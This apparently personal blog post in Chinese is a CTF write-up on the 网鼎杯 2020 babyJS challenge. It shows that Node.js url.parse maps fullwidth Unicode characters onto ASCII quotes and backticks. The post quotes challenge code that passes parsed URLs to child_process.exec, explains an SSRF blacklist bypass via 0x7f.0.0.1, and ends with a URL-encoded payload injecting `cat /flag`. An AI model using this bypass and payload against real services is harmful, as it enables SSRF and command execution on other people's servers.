Node.js中url.parse函数的潜在安全问题

在去年参加网鼎杯半决赛的时候我遇到了一个Node.js的题目,涉及到了url.parse函数,虽然那题解法很多,但我觉得我当时的解法好像不那么常规?我利用了它的一个特性,甚至说不上来这应该叫bug还是feature,总之,研究一下背后的原因。

当前状态

url.parse函数

我最初关注这个问题,是从这个函数开始的。按Node.js Github代码仓库的这个讨论里预定的计划,Node.js 11.x将是url.parse函数最后一个正式存在的版本,此后的12.x版本将该函数标记为Deprecated但不会删除相关代码,从13.x开始有可能彻底删除这些代码。

开始写这篇文章时是2021年1月,此时最新Node.js版本号为15.6.0,查找Node.js官方文档可知,Node.js 12.x以后的版本确实已经将url.parse函数标记为了Deprecated,但这个函数并没有被真正移除掉,下面要提到的错误解析含Unicode字符URL的问题也没有解决。(受限于该函数的设计,无法直接修复这个问题,参考来源于这个讨论中Node.js Staff jasnell的回复)

WHATWG URL API

根据Node.js文档的指示,当前应该使用的是WHATWG URL API,但经过测试,也存在同样的问题等于说根本就没解决这个问题呗,绝了。

问题表现

函数介绍

url.parse函数可以将一个URL字符串解析为一个URL对象,函数声明为url.parse(urlString[, parseQueryString[, slashesDenoteHost]]),后两个参数与这次讨论主题关系不大,这里也不解释作用了,我们常用的还是第一个参数urlString,即待解析的URL字符串。

Unicode字符在域名中的表示

众所周知,在域名系统中所有的字符都应当在ASCII字符集的表示范围当中,但随着互联网的发展,世界各国的人们希望自己常用的语言文字也能出现在域名中,于是出现了国际化域名(IDN, Internationalized Domain Name)这一标准(RFC5890)。根据这一标准,使用Punycode(RFC3492)将Unicode编码字符转化成ASCII编码字符。

例如,“中文”二字使用Punycode编码后为"fiq228c"。由于Punycode编码后结果可能含有字符'-',为了防止原本就含有字符'-'的非国际化域名被错误解释,在域名系统中使用Punycode时,在结果前额外添加"xn--"前缀,例如,“中文域名.中国”的编码结果为"xn--fiq06l2rdsvs.xn--fiqs8s"。

编码结果对比

预期

获取方式:使用CyberChef的To Punycode工具对"http://"之后的内容进行编码

> url.parse('http://中文域名.中国').href
'http://xn--fiq06l2rdsvs.xn--fiqs8s'
> url.parse('http://test.ⓒn').href
'http://test.xn--n-lgp'
> url.parse('http://'`cat /flag`'')
'http://xn--catflag-oha35279cia7f63aja'
// 最后一个例子中,单引号码位为U+FF07 FULLWIDTH APOSTROPHE
// 反引号码位为U+FF40 FULLWIDTH GRAVE ACCENT
// 空格码位为U+00A0 NO-BREAK SPACE
// 斜杠码位为U+FF0F FULLWIDTH SOLIDUS

实际

获取方式:Node.js 15.5.1版本,Archlinux+Konsole环境使用node cli实测

> url.parse('http://中文域名.中国').href
'http://xn--fiq06l2rdsvs.xn--fiqs8s'
> url.parse('http://test.ⓒn').href
'http://test.cn'
> url.parse('http://'`cat /flag`'')
"http://'`cat /flag`'" //此行结果均为ASCII字符
// 复读一遍,使用new URL('xxx')时,结果也一样

可以看出,url.parse函数在处理某些字符时,并没有严格遵循Punycode的要求,也没有抛出异常等,反而是把它们转换成了一些“类似”的字符,这可能会导致SSRF攻击或URL欺骗攻击。

问题成因

相关标准

Unicode技术标准46:Unicode IDNA Compatibility Processing当中指出,2003年提出的IDN系统被称为IDNA2003,在2010年又通过了新版本的IDNA,称为IDNA2008。在IDNA2003的处理过程中第一步就是映射阶段,IDNA2008虽然不需要但也允许进行映射,这一步将大写字母映射到小写字母,以及进行等效字符间的映射

IDNA2003中给出了一个标志UseSTD3ASCIIRules,用于选择是否遵守STD3的规则,这个规则严格限制了域名中的字符,而Unicode提供的映射表同时提供了该标志为true或false两种情形下的映射规则,为了实现与IDNA2003的兼容,很多时候此标志都设为false,那么,上面那些Unicode字符被映射到ASCII字符就是映射表所指定的行为了。

勘误请求

我觉得我上面那段话搞不好错误百出,希望能有明白的人来给我纠错……

代码分析

暂时没有代码分析,因为对Node.js不甚了解,几百行的JS代码+几千行的C++代码实在看不下来,也不想重新编译一份启用debug的Node.js然后用配置调试环境啥的用调试器跟进去看了(这个可以有,但是得等想填坑的时候再填了)。

实例

搞一个比赛题目放上去,是不是和实际情景有差距,没太有说服力呢,也没办法,我就这一个例子。

网鼎杯2020半决赛:babyJS

主要代码

# /routes/index.js

var blacklist = ['127.0.0.1.xip.io', '::ffff:127.0.0.1', '127.0.0.1', '0', 'localhost', '0.0.0.0', '[::1]', '::1'];

router.get('/debug', function (req, res, next) {
  console.log(req.ip);
  if (blacklist.indexOf(req.ip) != -1) {
    console.log('res');
    var u = req.query.url.replace(/[\"\']/ig, '');
    console.log(url.parse(u).href);
    let log = `echo  '${url.parse(u).href}'>>/tmp/log`;
    console.log(log);
    child_process.exec(log);
    res.json({ data: fs.readFileSync('/tmp/log').toString() });
  } else {
    res.json({});
  }
});

router.post('/debug', function (req, res, next) {
  console.log(req.body);
  if (req.body.url !== undefined) {
    var u = req.body.url;
    var urlObject = url.parse(u);
    if (blacklist.indexOf(urlObject.hostname) == -1) {
      var dest = urlObject.href;
      request(dest, (err, result, body) => {
        res.json(body);
      })
    }
    else {
      res.json([]);
    }
  }
});

可以看出,POST请求/debug路径,造成SSRF GET请求本机/debug路径,即有可能产生命令执行。

绕过IP黑名单

GET /debug要求请求源IP必须位于blacklist列表中,而POST /debug会将blacklist中的地址过滤,绕过的方法很多,比如0x7f.0.0.10177.0.0.1这样用进制转换的方式绕过。初步看,我们POST请求的body部分应该是这样:{"url":"http://0x7f.0.0.1/debug?url=somepayload"}

制造命令执行

let log = `echo '${url.parse(u).href}' >> /tmp/log`
console.log(log)
child_process.exec(log)

要让上面这段代码执行我们想要的命令,方法当然是闭合引号。我们不需要考虑在js层面如何把引号闭合,而是需要最终让log字符串作为shell命令被执行时能够达到我们命令执行的目的。分析整个字符串,我们希望被执行的语句是这样的:echo ''`cat /flag`'' >> /tmp/log,由于反引号的存在,会先执行cat /flag,将其结果和两个''组成的空字符串拼接,一起作为echo命令的参数,最后将echo命令的输出重定向,追加到/tmp/log文件的最后。

可是,在GET方法中,对单双引号都做了过滤,我们要让请求在被url.parse解析前不包含单引号,而在解析后出现单引号。是不是可以用上文提到的漏洞呢,当然了,Payload就是上文编码结果对比里的最后一个示例。啥,你说二次编码也行?我听不见……听不见……

需要在执行的命令前http://字段的原因在下面源码分析会提到,不加的话,url.parse(u).href的结果就成原样输出了。加了之后对命令执行没啥影响,被执行的时候正好被两个单引号引起来,直接当做文本输出了。

最终Payload

大概这样?{"url":"http://0x7f.0.0.1/debug?url=http://'`cat /flag`'"}

还不太行吧,为了让我们精心挑选的特殊字符免于在POST方法的处理中就被转为一般ASCII字符,还需要URL编码一下,最终是这样:

{"url":"http://0x7f.0.0.1/debug?url=http://%EF%BC%87%EF%BD%80cat%C2%A0%EF%BC%8Fflag%EF%BD%80%EF%BC%87"}

解决方法

这我哪会啊,一点想法都没有,我都感觉我看那些文档的时候理解的不对,研究不动了,啊我好菜。